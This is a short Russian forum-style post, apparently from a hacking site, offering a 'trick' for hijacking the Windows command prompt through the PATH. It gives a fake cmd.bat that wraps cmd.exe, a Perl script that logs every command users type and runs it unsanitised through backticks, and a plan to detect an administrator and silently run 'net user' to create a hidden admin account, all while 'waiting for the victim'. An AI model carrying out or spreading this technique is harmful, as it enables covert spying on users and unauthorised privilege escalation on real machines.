Привет! Решил тут поделиться... опытом 😉

Как-то сижу я, пишу скрипт на Perl'e. Ииз-за некоторой кривизны рук он никак не может найти модуль.
Сижу, думаю. Решил посмотреть path - бросилось мне в глаза, что всякие интерактивные среды разработок, типа Delphi, пихают себя в path раньше, чем там есть win_dir и
system_dir.

#1

Идем в первую директорию из path, создаем
там что-то типа "cmd.bat". Теперь при работе с command prompt (far, command.com, cmd) будет запускаться тот самый cmd.bat.

#2

Пишем простейшую программу, что скидывает в лог то, что вызвали и с какими параметрами, а потом запускаем то самое приложение, которое должно выполниться...

В результате: 

cmd.bat
>perl program.pl C:\Windows\System32\cmd.exe %1 %2 ...

program.pl
>open FH, '>> log';
>print FH 'program ', $0, ' params ', @ARGV, "\n";
>my $command = join ' ', @ARGV;
>print `$command`;

Например так...

Вдоволь наизвращавшись со с скриптом, добавив timestamp, username и еще кучу всяких вкусностей, я понял, что нужно идти далее...

#3

Вставляем в прогу проверку user_name... на админа... 😉
и делаем, если это админ, например, "net user new_user new_pass /add" и делаем new_user админом.
Далее, создаем максимальное количество bat файлов с максимальным количеством команд.
Вдруг админ такой же маньяк, как и я, и слишком часто пользуется command prompt? 😉 вот тогда то он и поплачет...
Теперь ждем жертву, пускай он выполнит хоть одну команду в command prompt (far, command.com, cmd.exe) и больно бьем его по самолюбию 😉

С уважением, Иван Бахчеев.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии